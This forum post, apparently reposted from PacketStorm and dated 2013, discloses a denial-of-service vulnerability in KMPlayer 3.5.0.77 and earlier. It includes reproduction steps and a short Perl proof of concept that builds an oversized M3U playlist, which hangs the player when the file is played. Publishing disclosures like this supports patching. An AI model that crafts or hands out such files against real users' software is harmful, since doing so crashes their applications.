Praetorian503 Posted January 26, 2013 Report Posted January 26, 2013 KMPlayer versions 3.5.0.77 and below suffer from a denial of service vulnerability.Title : KMPlayer (PlayList M3U) Denial Of Service PoC All VersionsAuthor : Jigsaw (Abdelmorite Eljoaydi)Date : 26-01-2013E-mail : jigsaw0658@gmail.comHome : Morroco Facebook page : facebook.com/abdelmorit.almaplatform : softwareImpact : Denial Of Service Tested on : KMPlayer (http://www.kmpmedia.net/) Version 3.2-3.3-3.4 and 3.5.00.77OS : Tested on Windows XP SP1,SP2 and SP3 'Windows 7 is not Vulnerable' other OS maybe Vulnerable Risk : Low[+] / Medium[-]====How to reproduce====When creating a file with the poc below , you'll have to open the playlist file in kmplayer , a box will pop up just press OK . After that press the play button to trigger the DOS vulnerability . The program will not be able to respond until the process is killed using the task manager .=========Proof of concept===========#!/usr/bin/perlmy $j = "\x41" x 90000;my $h = "\x4D\x33\x55";my $file = "kmplayer.m3u";open ($File, ">$file");print $File $h.$j;close ($File);====================================Source: PacketStorm Quote